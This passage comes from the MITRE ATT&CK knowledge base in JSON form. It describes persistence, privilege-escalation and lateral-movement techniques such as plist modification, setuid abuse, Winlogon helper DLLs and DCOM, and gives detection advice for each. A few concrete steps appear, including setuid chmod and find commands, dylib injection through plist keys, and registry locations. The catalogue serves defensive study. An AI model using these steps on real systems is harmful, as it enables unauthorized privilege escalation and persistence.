Initial Access.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a", "created": "2020-01-24T20:02:59.149Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1547.011", "url": "https://attack.mitre.org/techniques/T1547/011"}, {"source_name": "fileinfo plist file description", "url": "https://fileinfo.com/extension/plist", "description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021."}, {"source_name": "wardle artofmalware volume1", "url": "https://taomm.org/vol1/pdfs.html", "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021."}], "x_mitre_deprecated": false, "revoked": true, "description": "Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, <code>Info.plist</code>, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the <code>DYLD_INSERT_LIBRARIES</code> key combined with a path to a malicious dylib under the <code>EnvironmentVariables</code> key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the <code>LSEnvironment</code> key in the application's <code>Info.plist</code> file.(Citation: wardle artofmalware volume1)", "modified": "2022-04-20T21:06:07.560Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Plist Modification", "x_mitre_detection": "Monitor for common command-line editors used to modify plist files located in auto-run locations, such as <code>~/LaunchAgents</code>, <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>, and an application's <code>Info.plist</code>. \n\nMonitor for plist file modification immediately followed by code execution from <code>~/Library/Scripts</code> and <code>~/Library/Preferences</code>. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-15T20:52:09.908Z", "name": "Abuse Elevation Control Mechanism", "description": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.(Citation: TechNet How UAC Works)(Citation: sudo man page 2018) An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.(Citation: OSX Keydnap malware)(Citation: Fortinet Fareit)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nConsider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\n\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.\n\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Office 365", "IaaS", "Google Workspace", "Azure AD"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Process: Process Creation", "User Account: User Account Modification", "Command: Command Execution", "Process: OS API Execution", "File: File Modification", "Process: Process Metadata", "File: File Metadata", "Windows Registry: Windows Registry Key Modification"], "x_mitre_permissions_required": ["Administrator", "User"], "type": "attack-pattern", "id": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", "created": "2020-01-30T13:58:14.373Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1548", "external_id": "T1548"}, {"source_name": "TechNet How UAC Works", "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"}, {"source_name": "OSX Keydnap malware", "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"}, {"source_name": "Fortinet Fareit", "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.", "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"}, {"source_name": "sudo man page 2018", "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.", "url": "https://www.sudo.ws/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-11T21:14:37.714Z", "name": "Create Process with Token", "description": "Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.\n\nWhile this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Vadim Khrykov", "Jonny Johnson"], "x_mitre_deprecated": false, "x_mitre_detection": "If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as <code>CreateProcessWithTokenW</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Command: Command Execution", "Process: OS API Execution"], "x_mitre_defense_bypassed": ["Windows User Account Control", "System access controls", "File system access controls"], "type": "attack-pattern", "id": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf", "created": "2020-02-18T16:48:56.582Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1134/002", "external_id": "T1134.002"}, {"source_name": "Microsoft Command-line Logging", "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"}, {"source_name": "Microsoft RunAs", "description": "Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.", "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-15T18:43:20.995Z", "name": "Setuid and Setgid", "description": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>. This will enable the setuid bit. To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Command: Command Execution", "File: File Metadata", "File: File Modification"], "x_mitre_permissions_required": ["User"], "type": "attack-pattern", "id": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9", "created": "2020-01-30T14:11:41.212Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1548/001", "external_id": "T1548.001"}, {"source_name": "GTFOBins Suid", "description": "Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022.", "url": "https://gtfobins.github.io/#+suid"}, {"source_name": "OSX Keydnap malware", "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"}, {"source_name": "setuid man page", "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.", "url": "http://man7.org/linux/man-pages/man2/setuid.2.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-02-14T21:24:37.780Z", "name": "Winlogon Helper DLL", "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Praetorian"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Command: Command Execution", "Module: Module Load", "Process: Process Creation", "Windows Registry: Windows Registry Key Modification"], "x_mitre_permissions_required": ["SYSTEM", "Administrator"], "type": "attack-pattern", "id": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", "created": "2020-01-24T16:59:59.688Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1547/004", "external_id": "T1547.004"}, {"source_name": "Cylance Reg Persistence Sept 2013", "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.", "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"}, {"source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Ryan Becwar", "McAfee"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3", "type": "attack-pattern", "created": "2017-05-31T21:30:28.613Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1019", "url": "https://attack.mitre.org/techniques/T1019"}, {"external_id": "CAPEC-532", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/532.html"}, {"url": "https://en.wikipedia.org/wiki/BIOS", "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.", "source_name": "Wikipedia BIOS"}, {"url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface", "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.", "source_name": "Wikipedia UEFI"}, {"url": "http://www.uefi.org/about", "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.", "source_name": "About UEFI"}, {"url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research", "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.", "source_name": "MITRE Trustworthy Firmware Measurement"}, {"url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about", "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.", "source_name": "MITRE Copernicus"}, {"url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/", "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.", "source_name": "McAfee CHIPSEC Blog"}, {"url": "https://github.com/chipsec/chipsec", "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.", "source_name": "Github CHIPSEC"}, {"url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html", "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.", "source_name": "Intel HackingTeam UEFI Rootkit"}], "modified": "2020-03-30T19:16:29.473Z", "name": "System Firmware", "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"modified": "2023-08-11T20:21:55.610Z", "name": "Distributed Component Object Model", "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Network Traffic: Network Connection Creation", "Module: Module Load", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd", "created": "2020-02-11T18:26:36.444Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1021/003", "external_id": "T1021.003"}, {"source_name": "Fireeye Hunting COM June 2019", "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"}, {"source_name": "Microsoft COM", "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"}, {"source_name": "Microsoft COM ACL", "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.", "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"}, {"source_name": "Microsoft Process Wide Com Keys", "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.", "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"}, {"source_name": "MSDN WMI", "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.", "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx"}, {"source_name": "Enigma DCOM Lateral Movement Jan 2017", "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.", "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"}, {"source_name": "Enigma MMC20 COM Jan 2017", "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.", "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"}, {"source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017", "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.", "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"}, {"source_name": "Enigma Excel DCOM Sept 2017", "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.", "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/"}, {"source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017", "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.", "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Stefan Kanthak", "Travis Smith, Tripwire"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68", "type": "attack-pattern", "created": "2017-05-31T21:30:42.222Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1042", "url": "https://attack.mitre.org/techniques/T1042"}, {"external_id": "CAPEC-556", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/556.html"}, {"url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs", "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.", "source_name": "Microsoft Change Default Programs"}, {"url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx", "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.", "source_name": "Microsoft File Handlers"}, {"url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc", "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.", "source_name": "Microsoft Assoc Oct 2017"}, {"url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd", "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.", "source_name": "TrendMicro TROJ-FAKEAV OCT 2012"}], "modified": "2020-01-24T13:41:32.520Z", "name": "Change Default File Association", "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>. For example:\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User", "Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Casey Smith"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", "type": "attack-pattern", "created": "2017-05-31T21:31:26.966Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1117", "url": "https://attack.mitre.org/techniques/T1117"}, {"source_name": "Microsoft Regsvr32", "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error 